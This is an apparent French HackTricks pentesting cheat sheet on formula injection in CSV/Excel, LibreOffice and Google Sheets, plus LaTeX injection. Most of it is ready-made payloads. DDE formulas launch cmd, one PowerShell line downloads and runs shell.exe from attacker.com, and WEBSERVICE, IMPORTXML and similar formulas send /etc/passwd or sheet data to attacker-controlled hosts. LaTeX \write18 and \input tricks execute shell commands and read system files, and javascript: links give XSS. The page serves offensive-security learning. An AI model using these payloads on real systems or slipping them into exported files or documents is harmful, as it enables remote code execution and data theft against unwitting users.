Injection de Formule/CSV/Doc/LaTeX/GhostScript

Reading time: 8 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks

Injection de Formule

Info

Si votre input est rĂ©flĂ©chi Ă  l'intĂ©rieur des fichiers CSV (ou de tout autre fichier qui sera probablement ouvert par Excel), vous pourriez ĂȘtre en mesure d'insĂ©rer des formules Excel qui seront exĂ©cutĂ©es lorsque l'utilisateur ouvre le fichier ou lorsque l'utilisateur clique sur un lien Ă  l'intĂ©rieur de la feuille Excel.

caution

De nos jours, Excel alertera (plusieurs fois) l'utilisateur lorsque quelque chose est chargĂ© depuis l'extĂ©rieur d'Excel afin de l'empĂȘcher d'agir de maniĂšre malveillante. Par consĂ©quent, un effort spĂ©cial en ingĂ©nierie sociale doit ĂȘtre appliquĂ© au payload final.

Wordlist

DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1

L'exemple suivant est trĂšs utile pour exfiltrer du contenu de la feuille Excel finale et pour effectuer des requĂȘtes vers des emplacements arbitraires. Mais cela nĂ©cessite que l'utilisateur clique sur le lien (et accepte les avertissements).

L'exemple suivant a été tiré de https://payatu.com/csv-injection-basic-to-exploit

Imaginez qu'une violation de sécurité dans un systÚme de gestion des dossiers étudiants soit exploitée par une attaque par injection CSV. L'intention principale de l'attaquant est de compromettre le systÚme utilisé par les enseignants pour gérer les détails des étudiants. La méthode implique que l'attaquant injecte un payload malveillant dans l'application, en entrant spécifiquement des formules nuisibles dans des champs destinés aux détails des étudiants. L'attaque se déroule comme suit :

  1. Injection de Payload Malveillant :
  • L'attaquant soumet un formulaire de dĂ©tails d'Ă©tudiant mais inclut une formule couramment utilisĂ©e dans les tableurs (par exemple, =HYPERLINK("<malicious_link>","Click here")).
  • Cette formule est conçue pour crĂ©er un hyperlien, mais elle pointe vers un serveur malveillant contrĂŽlĂ© par l'attaquant.
  1. Exportation de Données Compromises :
  • Les enseignants, inconscients de la compromission, utilisent la fonctionnalitĂ© de l'application pour exporter les donnĂ©es dans un fichier CSV.
  • Le fichier CSV, une fois ouvert, contient toujours le payload malveillant. Ce payload apparaĂźt comme un hyperlien cliquable dans le tableur.
  1. DĂ©clenchement de l'Attaque :
  • Un enseignant clique sur l'hyperlien, croyant qu'il fait partie des dĂ©tails de l'Ă©tudiant.
  • En cliquant, des donnĂ©es sensibles (potentiellement y compris des dĂ©tails du tableur ou de l'ordinateur de l'enseignant) sont transmises au serveur de l'attaquant.
  1. Enregistrement des Données :
  • Le serveur de l'attaquant reçoit et enregistre les donnĂ©es sensibles envoyĂ©es depuis l'ordinateur de l'enseignant.
  • L'attaquant peut alors utiliser ces donnĂ©es Ă  diverses fins malveillantes, compromettant davantage la vie privĂ©e et la sĂ©curitĂ© des Ă©tudiants et de l'institution.

RCE

Vérifiez le post original pour plus de détails.

Dans des configurations spĂ©cifiques ou des versions plus anciennes d'Excel, une fonctionnalitĂ© appelĂ©e Dynamic Data Exchange (DDE) peut ĂȘtre exploitĂ©e pour exĂ©cuter des commandes arbitraires. Pour en tirer parti, les paramĂštres suivants doivent ĂȘtre activĂ©s :

  • Allez dans Fichier → Options → Centre de gestion de la confidentialitĂ© → ParamĂštres du Centre de gestion de la confidentialitĂ© → Contenu externe, et activez Lancement du serveur Dynamic Data Exchange.

Lorsqu'un tableur avec le payload malveillant est ouvert (et si l'utilisateur accepte les avertissements), le payload est exécuté. Par exemple, pour lancer l'application calculatrice, le payload serait :

markdown
=cmd|' /C calc'!xxx

Des commandes supplĂ©mentaires peuvent Ă©galement ĂȘtre exĂ©cutĂ©es, telles que le tĂ©lĂ©chargement et l'exĂ©cution d'un fichier Ă  l'aide de PowerShell :

bash
=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1

Inclusion de Fichiers Locaux (LFI) dans LibreOffice Calc

LibreOffice Calc peut ĂȘtre utilisĂ© pour lire des fichiers locaux et exfiltrer des donnĂ©es. Voici quelques mĂ©thodes :

  • Lire la premiĂšre ligne du fichier local /etc/passwd : ='file:///etc/passwd'#$passwd.A1
  • Exfiltrer les donnĂ©es lues vers un serveur contrĂŽlĂ© par l'attaquant : =WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)))
  • Exfiltrer plus d'une ligne : =WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))
  • Exfiltration DNS (envoi des donnĂ©es lues sous forme de requĂȘtes DNS vers un serveur DNS contrĂŽlĂ© par l'attaquant) : =WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<attacker domain>"))

Google Sheets pour l'Exfiltration de Données Hors-Bande (OOB)

Google Sheets offre des fonctions qui peuvent ĂȘtre exploitĂ©es pour l'exfiltration de donnĂ©es OOB :

  • CONCATENATE : Ajoute des chaĂźnes ensemble - =CONCATENATE(A2:E2)
  • IMPORTXML : Importe des donnĂ©es Ă  partir de types de donnĂ©es structurĂ©es - =IMPORTXML(CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")
  • IMPORTFEED : Importe des flux RSS ou ATOM - =IMPORTFEED(CONCAT("http://<attacker IP:Port>//123.txt?v=", CONCATENATE(A2:E2)))
  • IMPORTHTML : Importe des donnĂ©es Ă  partir de tables ou de listes HTML - =IMPORTHTML (CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)
  • IMPORTRANGE : Importe une plage de cellules d'une autre feuille de calcul - =IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")
  • IMAGE : InsĂšre une image dans une cellule - =IMAGE("https://<attacker IP:Port>/images/srpr/logo3w.png")

Injection LaTeX

En général, les serveurs que l'on trouve sur Internet qui convertissent le code LaTeX en PDF utilisent pdflatex.
Ce programme utilise 3 attributs principaux pour (dés)autoriser l'exécution de commandes :

  • --no-shell-escape : DĂ©sactive la construction \write18{command}, mĂȘme si elle est activĂ©e dans le fichier texmf.cnf.
  • --shell-restricted : Identique Ă  --shell-escape, mais limitĂ© Ă  un ensemble 'sĂ»r' de commandes **prĂ©dĂ©finies (**Sur Ubuntu 16.04, la liste se trouve dans /usr/share/texmf/web2c/texmf.cnf).
  • --shell-escape : Active la construction \write18{command}. La commande peut ĂȘtre n'importe quelle commande shell. Cette construction est normalement interdite pour des raisons de sĂ©curitĂ©.

Cependant, il existe d'autres moyens d'exécuter des commandes, donc pour éviter RCE, il est trÚs important d'utiliser --shell-restricted.

Lire le fichier

Vous pourriez avoir besoin d'ajuster l'injection avec des wrappers comme [ ou $.

bash
\input{/etc/passwd}
\include{password} # load .tex file
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
\usepackage{verbatim}
\verbatiminput{/etc/passwd}

Lire un fichier Ă  une seule ligne

bash
\newread\file
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file

Lire un fichier Ă  plusieurs lignes

bash
\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\file

Écrire un fichier

bash
\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile

Exécution de commandes

L'entrée de la commande sera redirigée vers stdin, utilisez un fichier temporaire pour l'obtenir.

bash
\immediate\write18{env > output}
\input{output}

\input{|"/bin/hostname"}
\input{|"extractbb /etc/passwd > /tmp/b.tex"}

# allowed mpost command RCE
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
\end{document}

# If mpost is not allowed there are other commands you might be able to execute
## Just get the version
\input{|"bibtex8 --version > /tmp/b.tex"}
## Search the file pdfetex.ini
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
## Get env var value
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}

Si vous obtenez une erreur LaTex, envisagez d'utiliser base64 pour obtenir le résultat sans mauvais caractÚres.

bash
\immediate\write18{env | base64 > test.tex}
\input{text.tex}
bash
\input|ls|base4
\input{|"/bin/hostname"}

Cross Site Scripting

De @EdOverflow

bash
\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}

Injection Ghostscript

VĂ©rifiez https://blog.redteam-pentesting.de/2023/ghostscript-overview/

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks